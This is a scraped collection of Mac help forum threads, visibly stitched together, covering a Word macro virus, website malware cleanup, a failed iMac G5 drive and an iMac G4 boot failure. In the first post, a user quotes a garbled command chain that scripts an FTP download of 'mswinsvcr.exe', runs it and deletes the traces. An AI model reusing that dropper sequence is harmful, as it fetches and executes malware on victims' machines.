Help! Was my iMac G5 attacked by hackers?

I was using Microsoft Word when the following words were automatically typed in the text:
06 4100 .. eq 7echo get mswinsvcr.exe .. eq 7echo quit .. eq 7ftp –n –s;eq 7mswinsvcr.exe 7del eq
I heard that "mswinsvcr.exe" was related to some kind of hacker program. I'm really concerned. What should I do? Please help me. Thanks!

Sounds to me that somewhere you acquired an Office file that was infected with a Windows macro virus. While it can't do any harm to your Mac I believe it can play hob with your Office files, and it can be passed on to a Windows machine if you send an Office file from your Mac to a Windows user. I rarely use Office, and have never gotten a macro virus, so don't don't know the procedure in cleaning up the mess, but there is one. See, for instance, this thread at MacFixIt:
http://www.macfixitforums.com/showflat.php?Board=OfficeX&Number=790097
Whether all the information you need is there or not, I don't know.
Francine
Francine
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0xffffff80a4623f60 : 0xffffff80005ca448
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http://support.apple.com/kb/HT5244

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What are malicious scripts and what causes them? Over the years hackers found it hard to trick people into visiting suspicious sites so they're now targeting legit sites and using them to infect unknowing customers. In most cases an FTP account's password is obtained through key logging malware, then legit website files are modified to distribute the malware and gather more passwords. If your PC has been infected with one of these trojans, your bank account, email accounts, and FTP accounts may no longer be secure. * What to do if you find malicious scripts 1. Use the following online vulnerability scanner and ensure your software is up-to-date: http://secunia.com/vulnerability_scanning/online/?task=load 2. Download antivirus and fully scan your PC for malicious files. Here are some free online scanners: http://housecall.trendmicro.com/ http://www.bitdefender.com/scan8/ie.html http://www.kaspersky.com/virusscanner http://support.f-secure.com/enu/home/ols.shtml 3. Update all passwords that may have been obtained. Do not use old passwords, generate new ones. 4. Upload older versions of the files or contact support for assistance removing the malicious scripts. * Prevention - Ensure you use the latest browser version - Disable javascript - Use the firefox addon noscript - Download and install some free antivirus software, make sure it stays updated - Use http://www.avg.com.au/index.cfm?section=avg&action=onlinescan to test suspicious links you are given in emails or find online. If you are seeing a Google Attack Page when you visit the site, use the steps below to request that Google reindex the site and hopefully remove this block. This excerpt was copied from the URL below, and provides step by step instructions to request a delisting. http://www.google.com/support/webmasters/bin/answer.py?answer=45432 Once you have reviewed your site and are sure it is clean, you can can submit a request for review. Note that you'll need to verify site ownership before you can request a site review. 1. Sign in to Webmaster Tools with your Google account. 2. On the Dashboard, select the site you want. 3. On the Overview page, click Request a review and follow the instructions. Best regards, Tyler Evans Network Security Administrator HostGator.com LLC http://support.hostgator.com

Thank you.
I also had tried other means of getting answers and got an even more specific answer on just how to do this. Below is the link to the actual knowledgebase article giving specific instructions since there are some files that need to be on the Palm and some on the card, etc.
http://support.laridian.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=380&ratingconfirm=...
I emailed Zondervan to see if they might be able to direct me to a downloadable manual. The referred me to laridan.com who now supports their software.
I followed the instructions, taking into account some things that were already where they needed to be, hot synced it and it seems to be working fine with 7.8 M free space on my Palm which I trust is enough for my other very large applications.
Thanks for your help!
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Help! My iMac commited suicide!

Right. So I wake up this morning and turn over to look at my computer sitting on it's desk. I click the mouse to open up Safari and check my email, and nothing happens. So I click on the desktop to move to finder, and open up the drop menu to select force quit in case Safari wasn't responding. I then have the joy of my computer instantly turning off. So i try to reboot it, and when it hits the gray screen with the apple and the spinning circle it freezes, and around 3 minutes later my fan goes out of control and turns on full speed. So I shut it down with the power button, and try again. Same thing. I figure maybe if I give it time, so I repeat, and leave to make breakfast. When I return, my computer is still whirring and hasn't changed, so I shut it down. I then engage in a lovely 6 or 7 hours of troubleshooting, reading webpages on my G3, learning ways to fix things I didn't know existed in computers and trying every non-damaging suggestion I recieved. Finally, I launched my mac off the install disk after the first 30 minutes or so. It wasn't capable of repairing whatever was wrong with disk utility. So, I tried to launch it again just in case it decided to work on it's own. No luck. I open up disk utility again, and this time "233.8 GB Maxtor 6B250SO" is in bright red. So I click on that disk image. It says "This drive has reported a fatal hardware error to Disk Utility. If the drive has not failed completely, back up as much data as you can and then replace it with a working drive." Now anyways, I've read a lot of people having the same bootup problem I did, and most of them seem to have failed logic boards that need to be replaced or are oozing gunk or some such, but none have had smart failures. What I now know, is that my computer will under no circumstance launch, and that my drive may be dead. If it's not, then I have a huge database of files that I would REALLY like to save, including more than a few hundred dollars of iTunes music. I have a feeling I just lost everything I've acquired on this computer as well as all my graphic design work since last July, and unless someone can tell me a way to salvage my completely not-backed-up files, then I might as well just send it off and scream at the wall or something. This is horrifying me, I've never really backed up files before, never thought to, and now they're possibly ALL gone. If anyone can help in any way, please respond soon to this post, or even better to my email address at [email protected]. Any help of any kind is greatly appreciated.
-David
First Gen iMac G5 17" Mac OS X (10.4.3)

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Wow. That's quite a crash. Have you spoken with Apple about your situation?
I haven't had to recover data as I backup my system daily using SuperDuper. It took but one experience of losing data to convince me to invest $150 US or so, in an external HD and another $20 for the software. My backup has helped me out of a few jams since. As the previous poster mentioned, regardless of the mfg., machines do occur malfunctions, usually at the most inconvenient time.
First things first. Before you can think about recovering files you need to know what is wrong mechanically with your iMac. Important you speak with Apple, or if the machine is outside of warranty, a certified Apple technician.
In the data recovery realm: Outside data recovery services are very expensive. There also exists software for recovering data. Not sure what any of these programs can or cannot do. To start you off, here is a Google search of "Mac OS X data recovery".

HELP! My iMac wont respond to install disc or any commands

I know I'm taking a trip in the "Way back" machine. But I'm pretty resourseful and haven't been able to find my problem. Either I need a Mac super genius or it’s something stupid simple that I’m overlooking.
Specs:
iMac G4 Serial# XXXXXXXX Sep. 2003 – July 2004
1.25GHZ/ 256MB/ 80GB 17” Screen
PowerPC 7445
History: I bought this used with the computer’s monitor backlight out. I could still barely see the sign-in page when I looked at a certain angle, so that was an indicator to me that the OS was working. So I replaced the monitor. At the same time because of owner exchange I had to replace the hard drive with a fully wiped blank one (Deskstar ATA/IDE). I purchased an install disc set 10.4.8, which according to Apple this computer is compatible with 10.2.3 thru10.5.8.
Problem: After reassembly, the replacement monitor works fine. But the system won’t respond to anything. All I get is the gray screen with the apple smiley face folder that alternates with a question mark. It won’t respond to the install disc, or any commands for that matter. Of course I double, triple, and quadruple checked my connections from reassmebling. Here’s what I’ve attempted, all ending up with the same screen display.
During power-up
C (…of     course to boot from the install disc. It just ejects the disc after about     30 seconds)
CMD-OPT-SHIFT-DEL
D (wont     respond to hardware test)
CMD-S     (won’t go into single user mode. It just goes to the same gray screen)
OPT (this     is the only way I get a different screen. It shows the recycle page symbol     and continue symbol. It will recycle the OPT process to stay on this     screen, but it won’t continue if I press that selection – nothing happens
I’ve reset the PRAM
I’ve tried different keyboards (all Apple)
I’ve tried plugging the keyboard into different USB slots
I’ve replaced the Hard Drive with yet another just in case. I’ve tried alternate jumper settings on the hard drive. The original wasset to “Cable”, so I set it to that. But I also tried “Master” jumper settings– no change in results. I can’t say for certain that I hear the DVD/CD drive spin up. But I figure even if I had a bad install disc or bad optical drive, I should still be able to get to the black screen single user mode, yes? So I’m at my wits end. Can any of you Mac geniuses out there please help me? Thanks
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Install discs are specific to the machine they came with. You cannot use them on any other machine, so the ones you bought are useless. Buy a retail black faced copy of either Tiger or Leopard and you should be able to boot your machine, you need to format the drive as Mac OS extended (Journaled) when you first boot from the new retail disc.
I have also asked that your serial number be removed, it's not a good idea to post it.

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